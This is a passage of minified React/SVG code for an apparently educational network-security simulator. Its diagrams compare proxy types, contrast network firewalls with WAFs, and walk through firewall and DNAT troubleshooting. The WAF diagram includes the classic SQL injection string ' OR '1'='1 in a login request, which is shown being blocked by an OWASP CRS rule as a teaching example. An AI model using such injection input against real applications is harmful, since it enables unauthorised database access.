36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:t?`REVERSE PROXY (PROTECTS SERVERS):`:`FORWARD PROXY (PROTECTS CLIENTS):`}),t?(0,k.jsxs)(`g`,{transform:`translate(8, 26)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`20`,rx:`3`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#a78bfa`,fontSize:`7`,fontFamily:`monospace`,children:`Public Internet ➔ Reverse Proxy (VIP) ➔ Backend Node 1/2`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`309`,height:`36`,rx:`3`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`Server Shielding & SSL Offload:`}),(0,k.jsx)(`text`,{x:`10`,y:`52`,fill:`#475569`,fontSize:`7`,children:`• Backend IP addresses remain completely hidden from public internet.`}),(0,k.jsx)(`rect`,{x:`0`,y:`64`,width:`309`,height:`36`,rx:`3`,fill:`#f5f3ff`,stroke:`#c4b5fd`}),(0,k.jsx)(`text`,{x:`10`,y:`78`,fill:`#6d28d9`,fontSize:`7.5`,fontWeight:`bold`,children:`Load Balancing & Caching:`}),(0,k.jsx)(`text`,{x:`10`,y:`92`,fill:`#0f172a`,fontSize:`7`,children:`• Distributes traffic across redundant app servers (Round Robin / Least Conn).`})]}):(0,k.jsxs)(`g`,{transform:`translate(8, 26)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`20`,rx:`3`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#38bdf8`,fontSize:`7`,fontFamily:`monospace`,children:`Client 10.0.0.50 ➔ Forward Proxy 203.0.113.1 ➔ Web Server`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`309`,height:`36`,rx:`3`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`Client Protection & Anonymity:`}),(0,k.jsx)(`text`,{x:`10`,y:`52`,fill:`#475569`,fontSize:`7`,children:`• Destination website sees only Proxy IP (Client IP is concealed).`}),(0,k.jsx)(`rect`,{x:`0`,y:`64`,width:`309`,height:`36`,rx:`3`,fill:`#dcfce7`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`78`,fill:`#059669`,fontSize:`7.5`,fontWeight:`bold`,children:`Enterprise Content Control:`}),(0,k.jsx)(`text`,{x:`10`,y:`92`,fill:`#0f172a`,fontSize:`7`,children:`• Enforces corporate URL filtering, DLP, and malware caching.`})]}),(0,k.jsxs)(`text`,{x:`10`,y:`132`,fill:`#64748b`,fontSize:`7.5`,children:[`Deployment: `,(0,k.jsx)(`tspan`,{fill:t?`#6d28d9`:`#0284c7`,fontWeight:`bold`,children:t?`In front of Internal Server Farm`:`At Client Subnet Perimeter`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`CORE INTERVIEW MNEMONIC & COMPARISON:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`48`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`Forward Proxy (Protects the Client):`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#475569`,fontSize:`7`,children:`"I know who the client is; the server does not."`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#0284c7`,fontSize:`7`,children:`Used by companies to filter outbound employee web surfing.`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 76)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`56`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`Reverse Proxy (Protects the Server):`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#475569`,fontSize:`7`,children:`"I know who the server is; the client does not."`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#6d28d9`,fontSize:`7`,children:`Used by websites (Cloudflare, NGINX) to handle incoming traffic.`}),(0,k.jsx)(`text`,{x:`10`,y:`50`,fill:`#059669`,fontSize:`7`,fontWeight:`bold`,children:`✔ Provides DDoS defense, SSL termination & caching.`})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=20?`RESULT: ✓ REVERSE PROXY LOAD BALANCED &amp; SERVED RESPONSE BACK TO PUBLIC CLIENT`:e>=12?`PART B: REVERSE PROXY TERMINATING SSL &amp; LOAD BALANCING APP SERVERS`:e>=9?`PART A: ✓ FORWARD PROXY MASKED CLIENT IP &amp; DELIVERED WEB RESPONSE`:`READY — ADVANCE STEP TO TRACE FORWARD VS REVERSE PROXY SIMULATION`})})]})},Nn=({currentStepIndex:e})=>{let t=e>=10,n=e>=1,r=e>=2,i=e>=3,a=-100,o=!1,s=`SQL INJECTION`,c=`' OR '1'='1`,l=`#ef4444`;return e===4||e===5?(o=!0,a=230,s=`GET /login?u=' OR '1'='1`,c=`Port: 443 [HTTPS]`):e===6||e===7?(o=!0,a=370,s=`L3/L4 FW ALLOWS :443`,c=`Blind to L7 Payload!`,l=`#ef4444`):e===8||e===9?(o=!0,a=650,s=`EXPLOIT DELIVERED ✕`,c=`Server DB Attacked!`,l=`#ef4444`):e===13||e===14?(o=!0,a=230,s=`GET /login?u=' OR '1'='1`,c=`➔ WAF L7 Engine`,l=`#ef4444`):e===15||e===16||e===17?(o=!0,a=370,s=`WAF SQLi DETECTED!`,c=`OWASP CRS Rule 942100`,l=`#ef4444`):e>=18&&(o=!0,a=330,s=`HTTP 403 FORBIDDEN ✕`,c=`Payload Dropped at WAF`,l=`#10b981`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:t?`#f0fdf4`:`#fef2f2`,stroke:t?`#86efac`:`#fca5a5`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:t?`#15803d`:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:t?`PART B: WEB APPLICATION FIREWALL (WAF) — PARSES L7 HTTP/SQLi PAYLOAD ➔ BLOCKS ATTACK (HTTP 403) ✓`:`PART A: L3/L4 NETWORK FIREWALL — BLIND TO L7 PAYLOAD ➔ ALLOWS SQL INJECTION OVER PORT 443 ✕`})]}),i&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`})]}),(e===5||e===14)&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,color:`#ef4444`,label:`SQLi PAYLOAD`}),(e===7||e===8)&&(0,k.jsx)(A,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,color:`#ef4444`,label:`UNINSPECTED FORWARD`}),(0,k.jsx)(M,{cx:80,cy:75,label:`CLIENT / ATTACKER`,ip:`Src IP: 198.51.100.50`,active:!0,danger:!0}),n&&(0,k.jsxs)(`g`,{transform:`translate(370, 75)`,children:[(0,k.jsx)(`rect`,{x:`-48`,y:`-30`,width:`96`,height:`46`,rx:`8`,fill:`#0f172a`,stroke:t?`#10b981`:`#ef4444`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-10`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`8`,fontWeight:`bold`,children:t?`LAYER 7 WAF`:`L3/L4 FIREWALL`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:t?`MODSECURITY / AWS`:`STATEFUL L4`}),(0,k.jsx)(`text`,{x:`0`,y:`26`,textAnchor:`middle`,fontSize:`8.5`,fontWeight:`bold`,fill:`#0f172a`,children:t?`APP LAYER SHIELD`:`PACKET FILTER`})]}),r&&(0,k.jsx)(P,{cx:650,cy:75,label:`WEB SERVER & SQL DB`,sub:t?`Protected by WAF ✓`:`Vulnerable to SQLi ✕`,active:!0,danger:!t&&e>=8,success:t}),o&&(0,k.jsx)(j,{cx:a,cy:75,label:s,sub:c,color:l,dropped:t&&e>=18}),t&&e>=18&&(0,k.jsxs)(`g`,{transform:`translate(330, 75)`,children:[(0,k.jsx)(`line`,{x1:`-15`,y1:`-15`,x2:`15`,y2:`15`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`}),(0,k.jsx)(`line`,{x1:`15`,y1:`-15`,x2:`-15`,y2:`15`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`})]}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`LAYER 3/4 PACKET FILTERING VS LAYER 7 APPLICATION PAYLOAD DEEP INSPECTION`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:t?`LAYER 7 WAF INSPECTION MATRIX:`:`LAYER 3/4 NETWORK FIREWALL MATRIX:`}),t?(0,k.jsxs)(`g`,{transform:`translate(8, 26)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`20`,rx:`3`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#4ade80`,fontSize:`7`,fontFamily:`monospace`,children:`OWASP CRS Rule    Payload Trigger          Verdict`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`309`,height:`22`,rx:`3`,fill:`#fee2e2`,stroke:`#fca5a5`}),(0,k.jsx)(`text`,{x:`10`,y:`38`,fill:`#991b1b`,fontSize:`7.5`,fontFamily:`monospace`,children:`Rule 942100       SQL Injection (' OR '1'='1) MATCH (DROP ✕)`}),(0,k.jsx)(`rect`,{x:`0`,y:`48`,width:`309`,height:`22`,rx:`3`,fill:`#dcfce7`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`62`,fill:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:`HTTP Response     HTTP 403 Forbidden       SENT TO ATTACKER ✓`}),(0,k.jsx)(`rect`,{x:`0`,y:`72`,width:`309`,height:`34`,rx:`3`,fill:`#f0fdf4`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`86`,fill:`#059669`,fontSize:`7`,fontWeight:`bold`,children:`WAF Protection:`}),(0,k.jsx)(`text`,{x:`10`,y:`98`,fill:`#475569`,fontSize:`6.8`,children:`Decodes TLS, parses HTTP headers/body, and blocks OWASP Top 10 exploits.`})]}):(0,k.jsxs)(`g`,{transform:`translate(8, 26)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`20`,rx:`3`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#38bdf8`,fontSize:`7`,fontFamily:`monospace`,children:`Field             Value Checked    Decision`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`309`,height:`22`,rx:`3`,fill:`#dcfce7`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`38`,fill:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:`Dst Port: 443     HTTPS Protocol   MATCH RULE (ALLOW ✓)`}),(0,k.jsx)(`rect`,{x:`0`,y:`48`,width:`309`,height:`22`,rx:`3`,fill:`#fee2e2`,stroke:`#fca5a5`}),(0,k.jsx)(`text`,{x:`10`,y:`62`,fill:`#991b1b`,fontSize:`7.5`,fontFamily:`monospace`,children:`HTTP Payload      ' OR '1'='1      BLIND (CANNOT INSPECT ✕)`}),(0,k.jsx)(`rect`,{x:`0`,y:`72`,width:`309`,height:`34`,rx:`3`,fill:`#fef2f2`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`86`,fill:`#991b1b`,fontSize:`7`,fontWeight:`bold`,children:`Security Flaw:`}),(0,k.jsx)(`text`,{x:`10`,y:`98`,fill:`#475569`,fontSize:`6.8`,children:`Standard firewalls do not inspect L7 web application logic or SQL queries.`})]}),(0,k.jsxs)(`text`,{x:`10`,y:`132`,fill:`#64748b`,fontSize:`7.5`,children:[`Inspection Depth: `,(0,k.jsx)(`tspan`,{fill:t?`#059669`:`#b91c1c`,fontWeight:`bold`,children:t?`Layer 7 (HTTP Methods, Headers, Cookies, SQL Queries)`:`Layer 3/4 (IP Address, TCP/UDP Port Numbers only)`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`CORE COMPARISON & DEFENSE IN DEPTH:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`48`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`Network Firewall (L3/L4):`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#475569`,fontSize:`7`,children:`• Controls IP routing, port access, and basic network zones.`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#b91c1c`,fontSize:`7`,children:`• Does NOT protect against SQLi, XSS, or Command Injection on open ports.`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 76)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`56`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`Web Application Firewall (WAF - L7):`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#059669`,fontSize:`7`,children:`• Inspects web application logic, HTTP parameters, and API JSON payloads.`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#059669`,fontSize:`7`,children:`• Mitigates OWASP Top 10 vulnerabilities without patching code.`}),(0,k.jsx)(`text`,{x:`10`,y:`50`,fill:`#0284c7`,fontSize:`7`,fontWeight:`bold`,children:`✔ Enterprise Standard: Deploy BOTH in tandem!`})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=18?`RESULT: ✓ WAF BLOCKED SQLi ATTACK — WEB SERVER &amp; SQL DATABASE REMAIN 100% UNTOUCHED`:e>=10?`PART B: WAF PARSING LAYER 7 HTTP PAYLOAD FOR SQL INJECTION SIGNATURES`:e>=8?`PART A: L3/L4 FIREWALL ALLOWED SQL INJECTION BECAUSE PORT 443 WAS PERMITTED`:`READY — ADVANCE STEP TO TRACE NETWORK FIREWALL VS WAF INSPECTION`})})]})},Pn=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=4,a=e>=5&&e<=9,o=e>=10&&e<=14,s=e>=15&&e<=17,c=e>=18&&e<=19,l=e>=20,u=-100,d=!1,f=`DNS QUERY`,p=`www.partner.com`,m=`#0284c7`;return e===6||e===7?(d=!0,u=160,f=`DNS QUERY :53`,p=`partner-portal.com`):e===8||e===9?(d=!0,u=160,f=`A RECORD: 203.0.113.80`,p=`DNS Resolved ✓`,m=`#10b981`):e===10||e===11?(d=!0,u=340,f=`TCP SYN :443`,p=`Dst: 203.0.113.80`,m=`#0284c7`):e===12||e===13||e===14?(d=!0,u=400,f=`FIREWALL DROP ✕`,p=`Implicit Deny Rule`,m=`#ef4444`):e===20||e===21?(d=!0,u=340,f=`TCP SYN (RETRY)`,p=`Rule Matched (ALLOW)`,m=`#10b981`):e===22||e===23?(d=!0,u=540,f=`SYN-ACK RESPONSE`,p=`Server Connected`,m=`#10b981`):e>=24&&(d=!0,u=650,f=`HTTP 200 OK ✓`,p=`Website Rendered`,m=`#10b981`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:l?`#f0fdf4`:o||s?`#fef2f2`:`#eff6ff`,stroke:l?`#86efac`:o||s?`#fca5a5`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:l?`#15803d`:o||s?`#991b1b`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:l?`PHASE 5: RETEST SUCCESSFUL — POLICY RULE FIXED ➔ TCP HANDSHAKE &amp; HTTP 200 OK VERIFIED ✓`:s||c?`PHASE 3 &amp; 4: SYSLOG INVESTIGATION REVEALS IMPLICIT DROP ➔ COMMITTING OUTBOUND ALLOW RULE`:o?`PHASE 2: TCP SYN BLOCKED AT FIREWALL (IMPLICIT DENY) ➔ CONNECTION TIMEOUT ✕`:a?`PHASE 1: DNS RESOLUTION VERIFIED (partner-portal.com ➔ 203.0.113.80) ✓`:`WEBSITE TROUBLESHOOTING LAB: END-TO-END 5-STAGE DIAGNOSTIC SIMULATION`})]}),i&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`200`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`280`,y1:`75`,x2:`400`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`480`,y1:`75`,x2:`610`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`})]}),(e===6||e===8)&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`200`,y2:`75`,color:e===8?`#10b981`:`#0284c7`,label:`DNS :53`}),(e===10||e===11||e===20)&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`400`,y2:`75`,color:e===20?`#10b981`:`#0284c7`,label:`TCP SYN :443`}),(e===22||e===24)&&(0,k.jsx)(A,{x1:`480`,y1:`75`,x2:`610`,y2:`75`,color:`#10b981`,label:`HTTP 200 OK`}),(0,k.jsx)(M,{cx:80,cy:75,label:`CLIENT LAPTOP`,ip:`10.0.0.25`,active:!0,danger:o,success:l}),t&&(0,k.jsxs)(`g`,{transform:`translate(240, 75)`,children:[(0,k.jsx)(`rect`,{x:`-35`,y:`-25`,width:`70`,height:`40`,rx:`6`,fill:`#0f172a`,stroke:e>=8?`#10b981`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7.5`,fontWeight:`bold`,children:`DNS SERVER`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontFamily:`monospace`,children:`10.0.0.2`}),(0,k.jsx)(`text`,{x:`0`,y:`22`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:`#0f172a`,children:`RESOLVER`})]}),n&&(0,k.jsxs)(`g`,{transform:`translate(440, 75)`,children:[(0,k.jsx)(`rect`,{x:`-40`,y:`-25`,width:`80`,height:`40`,rx:`6`,fill:`#0f172a`,stroke:o?`#ef4444`:l?`#10b981`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7.5`,fontWeight:`bold`,children:`EDGE FIREWALL`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontFamily:`monospace`,children:`10.0.0.1`}),(0,k.jsx)(`text`,{x:`0`,y:`22`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:`#0f172a`,children:`SECURITY POLICY`})]}),r&&(0,k.jsx)(P,{cx:650,cy:75,label:`PARTNER PORTAL`,sub:`203.0.113.80:443`,active:!0,success:l}),d&&(0,k.jsx)(j,{cx:u,cy:75,label:f,sub:p,color:m,dropped:o&&e>=13}),o&&e>=13&&(0,k.jsxs)(`g`,{transform:`translate(400, 75)`,children:[(0,k.jsx)(`line`,{x1:`-15`,y1:`-15`,x2:`15`,y2:`15`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`}),(0,k.jsx)(`line`,{x1:`15`,y1:`-15`,x2:`-15`,y2:`15`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`})]}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`LIVE TROUBLESHOOTING CONSOLE: 5-STAGE NETWORK & FIREWALL DIAGNOSTICS`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`STAGE-BY-STAGE DIAGNOSTIC PIPELINE:`}),(0,k.jsxs)(`g`,{transform:`translate(8, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`20`,rx:`3`,fill:`#dcfce7`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:`1. DNS Resolution: partner-portal.com ➔ 203.0.113.80 [PASSED ✓]`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`309`,height:`20`,rx:`3`,fill:`#dcfce7`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`38`,fill:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:`2. IP Route Lookup: Default route to 10.0.0.1 [PASSED ✓]`}),(0,k.jsx)(`rect`,{x:`0`,y:`48`,width:`309`,height:`22`,rx:`3`,fill:l||c?`#dcfce7`:`#fee2e2`,stroke:l||c?`#86efac`:`#fca5a5`}),(0,k.jsx)(`text`,{x:`10`,y:`62`,fill:l||c?`#059669`:`#991b1b`,fontSize:`7.5`,fontFamily:`monospace`,children:l||c?`3. Firewall Rule: ALLOW LAN ➔ 203.0.113.80:443 [FIXED ✓]`:`3. Firewall Rule: Implicit Deny Policy Drop [FAILED ✕]`}),(0,k.jsx)(`rect`,{x:`0`,y:`74`,width:`309`,height:`22`,rx:`3`,fill:l?`#dcfce7`:`#ffffff`,stroke:l?`#86efac`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`88`,fill:l?`#059669`:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:l?`4. TCP 3-Way Handshake: SYN ➔ SYN-ACK ➔ ESTABLISHED [PASSED ✓]`:`4. TCP Handshake: SYN_SENT (Awaiting SYN-ACK)`})]}),(0,k.jsxs)(`text`,{x:`10`,y:`132`,fill:`#64748b`,fontSize:`7.5`,children:[`Diagnostic Status: `,(0,k.jsx)(`tspan`,{fill:l?`#059669`:`#b91c1c`,fontWeight:`bold`,children:l?`All 5 Network Layers Verified Operational`:`Hanging on Layer 4 TCP Session Establishment`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`FIREWALL SYSLOG & REMEDIATION CONSOLE:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`42`,rx:`4`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#94a3b8`,fontSize:`6.8`,fontFamily:`monospace`,children:`[EDGE FIREWALL LIVE TRAFFIC SYSLOG]`}),(0,k.jsx)(`text`,{x:`10`,y:`26`,fill:l?`#4ade80`:`#f87171`,fontSize:`7`,fontFamily:`monospace`,children:l?`%FW-6-302013: Built outbound TCP conn 8912 for LAN:10.0.0.25 to WAN:203.0.113.80:443 (Rule_Allow_Partner)`:`%FW-3-106015: Deny TCP (no-match) from 10.0.0.25/51200 to 203.0.113.80/443 on interface inside`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 70)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`62`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,children:`Engineering Remediation Applied:`}),(0,k.jsxs)(`text`,{x:`10`,y:`28`,fill:`#475569`,fontSize:`7.5`,children:[`• Added security policy: `,(0,k.jsx)(`tspan`,{fill:`#059669`,fontFamily:`monospace`,children:`access-list OUTBOUND permit tcp any host 203.0.113.80 eq 443`})]}),(0,k.jsx)(`text`,{x:`10`,y:`44`,fill:`#059669`,fontSize:`7.5`,fontWeight:`bold`,children:`✔ Retest Confirmed: HTTP/1.1 200 OK received, 0 packet loss.`})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=24?`RESULT: ✓ END-TO-END REACHABILITY RESTORED — DNS OK, FW RULE FIXED, HTTP 200 OK`:e>=18?`PHASE 4: COMMITTING FIREWALL OUTBOUND PERMIT RULE FOR 203.0.113.80:443`:e>=12?`PHASE 2: FIREWALL SYSLOG CONFIRMS IMPLICIT DENY DROP ON PORT 443`:e>=8?`PHASE 1: DNS RESOLUTION CONFIRMED 203.0.113.80`:`READY — ADVANCE STEP TO TRACE STEP-BY-STEP WEBSITE ACCESS DIAGNOSIS`})})]})},Fn=({currentStepIndex:e})=>{let t=e<=7,n=e>=8&&e<=20,r=e>=21,i=e>=10,a=e>=2,o=-100,s=!1,c=`HTTPS :443`,l=`192.168.1.10`,u=`#0284c7`;return e===3||e===4?(s=!0,o=370,c=`LAN HTTP GET`,l=`192.168.1.50 ➔ 192.168.1.10`,u=`#0284c7`):e===5||e===6?(s=!0,o=370,c=`LAN HTTP 200 OK`,l=`Server Responds ✓`,u=`#10b981`):e===7?(s=!0,o=80,c=`LAN ACCESS: OK ✓`,l=`Local Connectivity Pass`,u=`#10b981`):e===12||e===13?(s=!0,o=230,c=`WAN TCP SYN`,l=`Dst: 203.0.113.10:443`,u=`#0284c7`):e===14||e===15?(s=!0,o=370,c=`ACL ALLOWED ✓`,l=`Checking DNAT Table...`,u=`#f59e0b`):e>=16&&e<=20?(s=!0,o=370,c=`MISSING DNAT RULE ✕`,l=`PACKET DROPPED`,u=`#ef4444`):e===23||e===24?(s=!0,o=230,c=`WAN TCP SYN (RETEST)`,l=`Dst: 203.0.113.10:443`,u=`#0284c7`):e===25||e===26?(s=!0,o=370,c=`DNAT TRANSLATED ✓`,l=`203.0.113.10 ➔ 